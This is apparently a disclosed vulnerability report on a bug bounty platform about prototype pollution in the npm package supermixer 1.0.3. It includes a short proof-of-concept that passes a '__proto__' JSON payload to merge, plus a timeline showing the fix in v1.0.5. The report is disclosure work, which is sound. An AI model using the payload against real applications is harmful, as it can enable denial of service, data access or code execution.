0

[supermixer] Prototype pollution

Share:

TIMELINE

0pattern submitted a report to Node.js third-party modules. Aug 16th (2 years ago)

I would like to report a Prototype pollution in supermixer, It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation.

Module

module name: supermixer
version: 1.0.3
npm page: `https://www.npmjs.com/package/supermixer`

Module Description

Mixes/merges/extends your object in multiple ways.

Unlike underscore/lodash utility methods this module allows you to:

- mix or deep merge objects' prototype chain. Regular mixin/extend/assign implementations can't do that.
- mix or deep merge unique properties only. I.e. data will not be overwritten if a property already exists.
- filter each individual property by target value, source value, and key. See API.
- transform each value by resulting value, source value, and key. See API.

Module Stats

[577] weekly downloads

Vulnerability

Vulnerability Description

Prototype Pollution is a vulnerability affecting JavaScript, Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects.

Steps To Reproduce:

Code 201 Bytes Wrap lines Copy Download

```
1 var mixer = require('supermixer');
2 var payload = '{"__proto__":{"poc":"evil"}}';
3 var test = {};
4 console.log("Before: ", test.poc);
5 mixer.merge({},JSON.parse(payload));
6 console.log("After: ", test.poc);
```

Wrap up

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]

Impact

DoS, Access to restricted data, rce **(depends on implementation)**

danielruf Node.js third-party modules staff changed the report title from **Prototype pollution in supermixer** to **[supermixer] Prototype pollution**. Aug 16th (2 years ago)

0pattern posted a comment. Updated Aug 19th (2 years ago)

Fixed in v1.0.5
https://github.com/stampit-org/supermixer/issues/9
https://github.com/stampit-org/supermixer/compare/v1.0.4...v1.0.5

@danielruf
We can now close the report as resolved to request a CVE after disclosing it

danielruf Node.js third-party modules staff closed the report and changed the status to **Resolved**. Aug 20th (2 years ago)

danielruf Node.js third-party modules staff requested to disclose this report. Updated Aug 20th (2 years ago)

Requesting diclosure. I've asked other members from our team to have a look at the severity rating so we can set the right value which is best done by those who have more experience with similar reports about Protoype Pollution.

0pattern agreed to disclose this report. Aug 20th (2 years ago)

Good to know, thanks @danielruf , can you request a CVE for this vulnerability ?

This report has been disclosed. Aug 20th (2 years ago)